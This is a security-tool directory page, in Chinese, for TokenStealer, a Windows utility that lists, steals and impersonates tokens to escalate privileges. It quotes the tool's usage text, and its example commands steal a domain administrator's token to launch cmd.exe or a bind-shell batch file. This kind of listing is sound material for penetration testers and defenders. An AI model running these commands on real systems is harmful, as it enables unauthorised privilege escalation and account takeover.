Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
TokenStealer — Windows 令牌操作用具,可列出、窃取和模拟进程或用户令牌,以其他用户身份执行命令,利用 SeImpersonate 和 SeAssignPrimary 权限。 | Kitploit
工具/GitHubGitHub/decoder-it/tokenstealer
权限提升冒充工具后渗透利用红队
GitHubdecoder-it/tokenstealer

TokenStealer

Windows 令牌操作用具,可列出、窃取和模拟进程或用户令牌,以其他用户身份执行命令,利用 SeImpersonate 和 SeAssignPrimary 权限。

查看仓库
165282年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

TokenStealer

一个我前阵子编写的用于窃取和操作 Windows 令牌的简单工具。
部分代码取自并改编自 https://github.com/FSecureLABS/incognito
显然,你需要 Impersonation 或 AssignPrimary 特权以及 Debug 特权才能访问所有进程。
通常情况下,你应该以最高本地权限(如 SYSTEM)运行此工具。

root@kitploit:~
TokenStealer.exe
[+] My personal simple and stupid  Token Stealer... ;)
[+] v1.0 @decoder_it 2023

[!] Usage:
         -l: list all user's token
         -e: list all user's token with extended info -> [user]:[token_level (2)=Impersonation, (3)=Delegation,(P)=Primary>]:[pid]:[SessionId]
         -p: <pid> list/steal  token from specfic  process pid
         -u: <user> list/steal token of user
         -c: <command> command to execute with token 
         -t: force use of impersonation Privilege 
         -b: <token level> needed token type: 1=Primary,2=Impersonation,3=Delegation 
         -s: <SessionId> list/steal token from specific Session ID

=Examples=

TokenStealer.exe -e -b 1 
-> list all primary tokens

TokenStealer.exe -l -p 100
-> list all tokens in process pid 100

TokenStealer.exe -u  MYDOMAIN\administrator -c c:\windows\system32\cmd.exe
-> steal token of the user and execute an interactive  command shell using the AssingPrimary privilege if available

TokenStealer.exe -u  MYDOMAIN\administrator -c c:\windows\system32\bind.bat  -p 100 -t
-> steal token of the user in process 100 and execute the batch file using Impersonation privilege instead of AssingPrimary

TokenStealer.exe -u  MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -b 1
-> steal a primary token of the user and execute an interactive  command shell using the AssingPrimary privilege if available

TokenStealer.exe -u  MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -s 2
-> steal a token of the user in specific SessionID and execute an interactive  command shell using the AssingPrimary privilege if available

替代文本
下载工具